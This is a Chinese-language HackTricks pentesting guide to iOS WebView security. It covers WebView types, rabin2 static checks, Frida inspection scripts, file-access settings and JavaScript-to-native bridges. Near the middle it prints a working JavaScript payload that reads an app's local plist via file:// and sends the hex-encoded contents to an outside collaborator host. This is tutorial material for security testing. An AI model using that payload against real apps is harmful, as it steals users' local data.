iOS WebViews

从零开始学习 AWS 黑客技术,成为专家 htARTE(HackTricks AWS 红队专家)

支持 HackTricks 的其他方式:

此页面的代码摘自此处。查看页面以获取更多详细信息。

WebViews 类型

WebViews 在应用程序中用于交互式显示 Web 内容。不同类型的 WebViews 为 iOS 应用程序提供不同的功能和安全特性。以下是简要概述:

  • UIWebView,从 iOS 12 开始不再推荐使用,因为它不支持禁用JavaScript,容易受到脚本注入和**跨站脚本(XSS)**攻击的影响。

  • WKWebView 是将 Web 内容整合到应用程序中的首选选项,提供对内容和安全功能的增强控制。JavaScript 默认启用,但必要时可禁用。它还支持防止 JavaScript 自动打开窗口的功能,并确保所有内容安全加载。此外,WKWebView 的架构最大程度地减少了影响主应用程序进程的内存损坏风险。

  • SFSafariViewController 在应用程序内提供标准化的 Web 浏览体验,其特定布局包括只读地址字段、共享和导航按钮,以及直接链接以在 Safari 中打开内容。与WKWebView不同,SFSafariViewController 中无法禁用JavaScript,它还与 Safari 共享 cookie 和数据,保护用户隐私免受应用程序的影响。必须根据 App Store 指南显著显示它。

// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];

WebViews配置探索摘要

静态分析概述

在检查WebViews配置的过程中,主要关注两种类型:UIWebViewWKWebView。为了在二进制文件中识别这些WebViews,使用命令搜索特定的类引用和初始化方法。

  • UIWebView识别

$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"

这个命令通过在二进制文件中搜索与之相关的文本字符串来定位UIWebView的实例。

  • WKWebView识别

$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"

同样地,对于 WKWebView,这个命令会搜索二进制文件中表明其使用情况的文本字符串。

此外,为了找到 WKWebView 的初始化方式,执行以下命令,针对与其初始化相关的方法签名:

$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"

JavaScript配置验证

对于WKWebView,强调了除非必要,禁用JavaScript是最佳做法。搜索编译后的二进制文件以确认javaScriptEnabled属性设置为false,确保JavaScript已禁用:

$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"

仅安全内容验证

WKWebView 提供了识别混合内容问题的能力,与 UIWebView 相比。这是通过使用 hasOnlySecureContent 属性进行检查,以确保所有页面资源都通过安全连接加载。在编译的二进制文件中执行搜索的步骤如下:

$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"

动态分析见解

动态分析涉及检查堆中的 WebView 实例及其属性。使用名为 webviews_inspector.js 的脚本来实现此目的,针对 UIWebViewWKWebViewSFSafariViewController 实例。它记录有关找到的实例的信息,包括与 JavaScript 和安全内容相关的 URL 和设置。

可以使用 ObjC.choose() 进行堆检查,以识别 WebView 实例并检查 javaScriptEnabledhasonlysecurecontent 属性。

webviews_inspector.js
ObjC.choose(ObjC.classes['UIWebView'], {
onMatch: function (ui) {
console.log('onMatch: ', ui);
console.log('URL: ', ui.request().toString());
},
onComplete: function () {
console.log('done for UIWebView!');
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});

ObjC.choose(ObjC.classes['SFSafariViewController'], {
onMatch: function (sf) {
console.log('onMatch: ', sf);
},
onComplete: function () {
console.log('done for SFSafariViewController!');
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled());
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
}
});

脚本是这样执行的:

frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js

关键结果:

  • 成功定位和检查 WebView 实例。

  • 验证 JavaScript 启用和安全内容设置。

这份摘要概括了通过静态和动态方法分析 WebView 配置所涉及的关键步骤和命令,重点关注 JavaScript 启用和混合内容检测等安全功能。

WebView 协议处理

在 WebView 中处理内容是一个关键方面,特别是在处理诸如 http(s)://file://tel:// 等各种协议时。这些协议允许应用程序加载远程和本地内容。强调了在加载本地内容时,必须采取预防措施,防止用户影响文件的名称或路径,并防止编辑内容本身。

WebViews 提供了不同的内容加载方法。对于 UIWebView(现已弃用),使用 loadHTMLString:baseURL:loadData:MIMEType:textEncodingName:baseURL: 等方法。另一方面,WKWebView 使用 loadHTMLString:baseURL:loadData:MIMEType:textEncodingName:baseURL:loadRequest: 来加载 web 内容。通常使用 pathForResource:ofType:URLForResource:withExtension:init(contentsOf:encoding:) 等方法来加载本地文件。特别值得注意的是 loadFileURL:allowingReadAccessToURL: 方法,它能够将特定 URL 或目录加载到 WebView 中,如果指定了目录,则可能会暴露敏感数据。

要在源代码或编译后的二进制文件中找到这些方法,可以使用以下命令:

$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:

关于文件访问,UIWebView允许全局访问,而WKWebView引入了allowFileAccessFromFileURLsallowUniversalAccessFromFileURLs设置来管理从文件URL的访问,两者默认值均为false。

提供了一个Frida脚本示例,用于检查WKWebView的安全设置配置:

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});

最后,一个旨在窃取本地文件的JavaScript有效载荷示例展示了与未正确配置的WebViews相关的潜在安全风险。该有效载荷在将文件内容传输到服务器之前将其编码为十六进制格式,突显了在WebView实现中采取严格安全措施的重要性。

String.prototype.hexEncode = function(){
var hex, i;
var result = "";
for (i=0; i<this.length; i++) {
hex = this.charCodeAt(i).toString(16);
result += ("000"+hex).slice(-4);
}
return result
}

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest();
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
xhr2.send(null);
}
}
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
xhr.send(null);

通过 WebView 暴露的本地方法

了解 iOS 中的 WebView 本地接口

从 iOS 7 开始,苹果提供了用于在 WebView 中的 JavaScript 和本地 Swift 或 Objective-C 对象之间进行通信的 API。这种集成主要通过两种方法实现:

  • JSContext:当将 Swift 或 Objective-C 块链接到 JSContext 中的标识符时,会自动创建一个 JavaScript 函数。这允许 JavaScript 和本地代码之间实现无缝集成和通信。

  • JSExport 协议:通过继承 JSExport 协议,本地属性、实例方法和类方法可以暴露给 JavaScript。这意味着在 JavaScript 环境中进行的任何更改都会在本地环境中反映出来,反之亦然。然而,必须确保通过此方法无意中暴露敏感数据。

在 Objective-C 中访问 JSContext

在 Objective-C 中,可以使用以下代码行检索 UIWebViewJSContext

[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]

WKWebView 通信

对于 WKWebView,无法直接访问 JSContext。相反,通过 postMessage 函数进行消息传递,从而实现 JavaScript 到本地通信。设置这些消息的处理程序如下,使 JavaScript 能够安全地与本地应用程序进行交互:

func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")

if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}

交互和测试

JavaScript 可以通过定义脚本消息处理程序与原生层交互。这允许执行诸如从网页调用原生函数之类的操作:

function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", value1, value2]);
}

// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2

要捕获和操纵本地函数调用的结果,可以在HTML中覆盖回调函数:

<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result);
}
</script>
</html>

原生端处理JavaScript调用,如在JavaScriptBridgeMessageHandler类中所示,处理诸如数字相乘等操作的结果,并将其发送回JavaScript以供显示或进一步操作:

class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
// Callback to JavaScript
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}

iOS WebViews调试

(基于https://blog.vuplex.com/debugging-webviews上的教程)

要有效地调试iOS webviews中的网页内容,需要特定的设置,涉及到Safari的开发者工具,因为发送到console.log()的消息不会显示在Xcode日志中。以下是一个简化的指南,强调关键步骤和要求:

  • iOS设备上的准备工作:需要在您的iOS设备上激活Safari Web Inspector。方法是转到设置 > Safari > 高级,并启用_Web Inspector_。

  • macOS设备上的准备工作:在您的macOS开发机器上,必须在Safari中启用开发者工具。启动Safari,访问Safari > 首选项 > 高级,并选择选项_Show Develop menu_。

  • 连接和调试:连接您的iOS设备到您的macOS计算机并启动应用程序后,使用您的macOS设备上的Safari选择要调试的webview。在Safari的菜单栏中导航到_Develop_,悬停在您的iOS设备名称上以查看webview实例列表,并选择您希望检查的实例。将为此目的打开一个新的Safari Web Inspector窗口。

然而,要注意以下限制:

  • 使用此方法进行调试需要一个macOS设备,因为它依赖于Safari。

  • 只有通过Xcode加载到您的设备上的应用程序中的webviews才能够进行调试。通过App Store或Apple Configurator安装的应用程序中的webviews无法以这种方式进行调试。

参考资料

从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)

支持HackTricks的其他方式:

最后更新于